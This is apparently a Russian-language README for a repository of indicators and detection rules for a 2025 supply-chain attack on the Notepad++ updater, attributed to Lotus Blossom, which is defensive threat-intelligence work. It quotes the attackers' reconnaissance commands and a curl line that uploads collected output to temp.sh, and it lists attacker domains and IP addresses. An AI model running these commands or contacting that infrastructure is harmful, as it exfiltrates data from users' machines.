
Индикаторы компрометации и правила обнаружения для атаки на цепочку поставок Notepad++ (CVE-2025-15556) — Lotus Blossom APT, июнь–декабрь 2025. Включает запросы Falcon LogScale, правила YARA/Sigma и сопоставление с MITRE ATT&CK.
CVE-2025-15556 | Lotus Blossom / Raspberry Typhoon | июнь – декабрь 2025
Этот репозиторий содержит полный консолидированный набор индикаторов компрометации (IoC), связанных с атакой на цепочку поставок Notepad++, раскрытой 2 февраля 2026 года.
В период с июня по декабрь 2025 года спонсируемый китайским государством субъект угрозы скомпрометировал хостинг-инфраструктуру Notepad++, перехватив встроенный механизм обновления (WinGUp) для выборочной доставки троянизированных установщиков целевым пользователям. Атака использовала отсутствие криптографической проверки в обновляторе (до версии 8.8.9), что позволило распространять собственные бэкдоры, Cobalt Strike Beacon и полезные нагрузки Metasploit.
| CVE | CVE-2025-15556 — загрузка кода без проверки целостности |
| Субъект угрозы | Lotus Blossom (Bilbug, Raspberry Typhoon, Thrip) / Zirconium (Violet Typhoon) |
| Период активности | июнь 2025 — 2 декабря 2025 |
| Вектор атаки | Компрометация цепочки поставок через автообновление WinGUp |
| Цели | Государственные органы, телекоммуникационные и финансовые организации, IT-провайдеры (Филиппины, Вьетнам, Сальвадор, Австралия, Восточная Азия) |
| Вредоносное ПО | бэкдор Chrysalis (собственный), Cobalt Strike Beacon, Metasploit Meterpreter |
| Исправлено в | Notepad++ v8.8.9+ (проверка сертификата) / v8.9.1+ (валидация XMLDSig) |
Kaspersky GReAT выявила три различные цепочки заражения, которые ротировались примерно ежемесячно для уклонения от обнаружения:
GUP.exe → update.exe (NSIS) → ProShow.exe (legitimate) → exploit via "load" file
→ Metasploit downloader → Cobalt Strike Beacon
whoami && tasklist → эксфильтрация через temp.sh%appdata%\ProShow\GUP.exe → update.exe (NSIS) → script.exe (Lua interpreter) → alien.ini (compiled Lua)
→ shellcode via EnumWindowStationsW → Metasploit downloader → Cobalt Strike Beacon
whoami && tasklist && systeminfo && netstat -ano%appdata%\Adobe\Scripts\GUP.exe → update.exe (NSIS) → BluetoothService.exe (legitimate) → log.dll (sideloaded)
→ decrypts "BluetoothService" shellcode → Chrysalis backdoor
%appdata%\Bluetooth\C:\ProgramData\USOShared\ ┌─────────────────────────────────────────────────────────┐
│ COMPROMISE TIMELINE │
├─────────┬─────────┬─────────┬─────────┬─────────┬──────┤
│ Jul 25 │ Aug 25 │ Sep 25 │ Oct 25 │ Nov 25 │Dec 25│
├─────────┴─────────┴─────────┴─────────┴─────────┴──────┤
Chain #1 (ProShow) │████████████████████ │
Chain #2 (Lua) │ █████████████████████████████ │
Chain #3 (DLL SL) │ ██████████████ │
Infra access │████████████████████████████████████████████████████████│
└────────────────────────────────────────────────────────┘
| Файл | Описание |
|---|---|
notepadpp_supply_chain_iocs.csv | Полный набор данных IoC (105 индикаторов) с сопоставлением с MITRE ATT&CK |
| Поле | Описание |
|---|---|
ioc_type | Тип: ip, domain, url, sha1, sha256, filepath, filename, useragent, behavior, cve, attribution, compromise_window |
ioc_value | Значение индикатора |
chain | Цепочка заражения (1, 2, 3, 1/2, 2/3, all, n/a) |
context | Описание того, что представляет собой IoC |
source | Источник разведданных (Kaspersky, Rapid7, CrowdStrike, Tenable, Kevin Beaumont) |
risk | Критичность (CRITICAL, HIGH, MEDIUM, LOW, INFO) |
mitre_technique | Идентификатор техники MITRE ATT&CK |
Поведенческие — не зависят от IoC, наибольшая ценность:
gup.exe, порождающий любой дочерний процесс, кроме легитимного подписанного установщика Notepad++gup.exe, подключающийся к доменам/IP-адресам, отличным от notepad-plus-plus.org, github.com, release-assets.githubusercontent.com%appdata%\ProShow\, %appdata%\Adobe\Scripts\, %appdata%\Bluetooth\%localappdata%\Temp\ns.tmp\ (среда выполнения NSIS — присутствует во всех цепочках)Сетевые — высокая степень уверенности:
cdncheck.it.com, safe-dns.it.com, self-dns.it.com, api.skycloudcenter.com, api.wiresguard.comtemp.sh (51.91.79.17) — особенно с загрузкой файлов через curltemp.sh, встроенными в заголовок User-Agent45.76.155.202, 45.32.144.255, 95.179.213.0, 45.77.31.210Команды разведки (пост-эксплуатация):
cmd /c whoami&&tasklist > 1.txt
cmd /c "whoami&&tasklist&&systeminfo&&netstat -ano" > a.txt
curl -F "[email protected]" -s https://temp.sh/upload
#event_simpleName=ProcessRollup2 event_platform=Win ParentBaseFileName="gup.exe"
| FilePath=/\\Device\\HarddiskVolume\d+(?<shortFilePath>.+$)/
| groupBy([FileName, SHA256HashData, shortFilePath, CommandLine])